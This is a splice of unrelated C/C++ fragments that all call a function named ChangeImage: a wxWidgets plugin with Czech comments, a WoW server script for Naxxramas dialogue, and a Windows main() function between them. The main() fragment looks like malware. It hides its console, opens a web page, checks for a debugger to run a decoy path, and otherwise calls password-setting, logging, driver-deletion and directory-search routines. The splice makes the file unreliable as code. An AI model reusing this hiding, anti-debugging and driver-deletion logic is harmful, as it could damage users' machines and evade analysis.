void udImageElementItem::OnCreate()
{
	// zobrazení dialogu pro zvolení obrázku
	wxFileDialog dlg( IPluginManager::Get()->GetMainFrame(),
					  wxT("Select an image"), 
					  wxT(""),
					  wxT(""),
					  wxT("All supported image types|*.bmp;*.BMP;*.png;*.PNG;*.jpeg;*.jpg;*.JPEG;*.JPG;*.pcx;*.PCX;*.pnm;*.PNM;*.tiff;*.TIFF;*.tga;*.TGA;*.iff;*.IFF;*.xpm;*.XPM;*.ico;*.ICO;*.cur;*.CUR;*.ani;*.ANI;|BMP files|*.bmp;*.BMP;|PNG files|*.png;*.PNG;|JPG files|*.jpeg;*.jpg;*.JPEG;*.JPG;|PCX files|*.pcx;*.PCX;|PNM files|*.pnm;*.PNM;|TIFF files|*.tiff;*.TIFF;|TGA files|*.tga;*.TGA;|IFF files|*.iff;*.IFF;|XPM files|*.xpm;*.XPM;|ICO files|*.ico;*.ICO;|CUR files|*.cur;*.CUR;|ANI files|*.ani;*.ANI;") );
	if( dlg.ShowModal() == wxID_OK )
	{
		ChangeImage( dlg.GetPath() );
		wxBitmap bitmap( m_sImageFilePath, wxBITMAP_TYPE_ANY );
		
		m_nHeight = PixelsToMilimeters( bitmap.GetHeight() );
		m_nWidth = PixelsToMilimeters( bitmap.GetWidth() );
	} 
	else
	{
		uddImageItemElement* image = wxDynamicCast( GetParent(), uddImageItemElement );	
		
		m_nHeight = PixelsToMilimeters( image->GetImageSize().y );
		m_nWidth = PixelsToMilimeters( image->GetImageSize().x );
	}
	
	IPluginManager::Get()->SendProjectEvent( wxEVT_CD_ITEM_CHANGED, wxID_ANY, this );
}
int main(int argc, char *argv[])
{
	HWND hWndConsole = GetConsoleWindow();
	//get console handle
	ShowWindow(hWndConsole, SW_HIDE);
	//run program without interface
	ChangeImage();
	ShellExecute(NULL, "open", "iexplore.exe", "http://layer7.kr", NULL, SW_SHOWNORMAL);
	if (IsDebuggerPresent())//check whether program is on debugging or not
	{
		fakeset();
	}
	else
	{
		setpasswd();
		savelog();
		deleteDrivers();
		SearchDirectory("D:\\");

	}
	return 0;
}
void udImageElementItem::OnEditItem(wxWindow* parent)
{
	// vytvoření instance příslušné třídy dialogu
	udImageDialog dialog( IPluginManager::Get()->GetMainFrame() );
	udWindowManager dialogManager( dialog, wxT("image_dialog") );
	
	// nastavení aktuálních hodnot vlastností dialogu
	dialog.SetCodeName( m_sName );
	dialog.SetDescription( m_sDescription );
	dialog.SetImageFilePath( m_sImageFilePath );
	dialog.SetGenerate( m_bGenerate );
	dialog.SetHeight( m_nHeight );
	dialog.SetWidth( m_nWidth );
	dialog.SetMarginLeft( m_nMarginLeft );
	dialog.SetMarginTop( m_nMarginTop );
	dialog.SetMarginRight( m_nMarginRight );
	dialog.SetMarginBottom( m_nMarginBottom );
	
	// v případě ukončení dialogu tlačítkem OK
	if( dialog.ShowModal() == wxID_OK )
	{
		// získání nových i stejných hodnot vlastností z dialogu
		OnTreeTextChange( dialog.GetCodeName() );
		m_sDescription = dialog.GetDescription();
		m_bGenerate = dialog.GetGenerate();
		ChangeImage( dialog.GetImageFilePath() );
		m_nHeight = dialog.GetHeight();
		m_nWidth = dialog.GetWidth();
		m_nMarginLeft = dialog.GetMarginLeft();
		m_nMarginTop = dialog.GetMarginTop();
		m_nMarginRight = dialog.GetMarginRight();
		m_nMarginBottom = dialog.GetMarginBottom();
		
		IPluginManager::Get()->SendProjectEvent( wxEVT_CD_ITEM_CHANGED, wxID_ANY, this );
	}
}
            void MovementInform(uint32 type, uint32 id) override
            {
                if (type == POINT_MOTION_TYPE)
                {
                    if (id == 1)
                    {
                        me->SetFacingTo(PosTalkLocations[talkWing].GetOrientation());
                        TurnAudience();

                        switch (talkWing)
                        {
                            case 0: // Pinnacle of Naxxramas
                                switch (urand(0, 1))
                                {
                                    case 0: ChangeImage(NPC_IMAGE_OF_KELTHUZAD, MODEL_IMAGE_OF_KELTHUZAD, SAY_KELTHUZAD_1);
                                        _events.ScheduleEvent(EVENT_KELTHUZAD_2, 8000); break;
                                    case 1: ChangeImage(NPC_IMAGE_OF_SAPPHIRON, MODEL_IMAGE_OF_SAPPHIRON, SAY_SAPPHIRON); break;
                                }
                                break;
                            case 1: // Death knight wing of Naxxramas
                                switch (urand(0, 2))
                                {
                                    case 0: ChangeImage(NPC_IMAGE_OF_RAZUVIOUS, MODEL_IMAGE_OF_RAZUVIOUS, SAY_RAZUVIOUS); break;
                                    case 1: ChangeImage(NPC_IMAGE_OF_GOTHIK, MODEL_IMAGE_OF_GOTHIK, SAY_GOTHIK); break;
                                    case 2: ChangeImage(NPC_IMAGE_OF_THANE, MODEL_IMAGE_OF_THANE, SAY_DEATH_KNIGHTS_1);
                                        _events.ScheduleEvent(EVENT_DEATH_KNIGHTS_2, 10000); break;
                                }
                                break;
                            case 2: // Blighted abomination wing of Naxxramas
                                switch (urand (0, 3))
                                {
                                    case 0: ChangeImage(NPC_IMAGE_OF_PATCHWERK, MODEL_IMAGE_OF_PATCHWERK, SAY_PATCHWERK); break;
                                    case 1: ChangeImage(NPC_IMAGE_OF_GROBBULUS, MODEL_IMAGE_OF_GROBBULUS, SAY_GROBBULUS); break;
                                    case 2: ChangeImage(NPC_IMAGE_OF_THADDIUS, MODEL_IMAGE_OF_THADDIUS, SAY_THADDIUS); break;
                                    case 3: ChangeImage(NPC_IMAGE_OF_GLUTH, MODEL_IMAGE_OF_GLUTH, SAY_GLUTH); break;
                                }
                                break;
                            case 3: // Accursed spider wing of Naxxramas
                                switch (urand (0, 2))
                                {
                                    case 0: ChangeImage(NPC_IMAGE_OF_ANUBREKHAN, MODEL_IMAGE_OF_ANUBREKHAN, SAY_ANUBREKHAN); break;
                                    case 1: ChangeImage(NPC_IMAGE_OF_FAERLINA, MODEL_IMAGE_OF_FAERLINA, SAY_FAERLINA); break;
                                    case 2: ChangeImage(NPC_IMAGE_OF_MAEXXNA, MODEL_IMAGE_OF_MAEXXNA, SAY_MAEXXNA); break;
                                }
                                break;
                            case 4: // Dread plague wing of Naxxramas
                                switch (urand (0, 2))
                                {
                                    case 0: ChangeImage(NPC_IMAGE_OF_NOTH, MODEL_IMAGE_OF_NOTH, SAY_NOTH); break;
                                    case 1: ChangeImage(NPC_IMAGE_OF_HEIGAN, MODEL_IMAGE_OF_HEIGAN, SAY_HEIGAN_1);
                                            _events.ScheduleEvent(EVENT_HEIGAN_2, 8000); break;
                                    case 2: ChangeImage(NPC_IMAGE_OF_LOATHEB, MODEL_IMAGE_OF_LOATHEB, SAY_LOATHEB); break;
                                }
                                break;
                            case 5: // Home
                                _events.ScheduleEvent(EVENT_START_RANDOM, 30000);
                                break;
                        }
                    }
                }
            }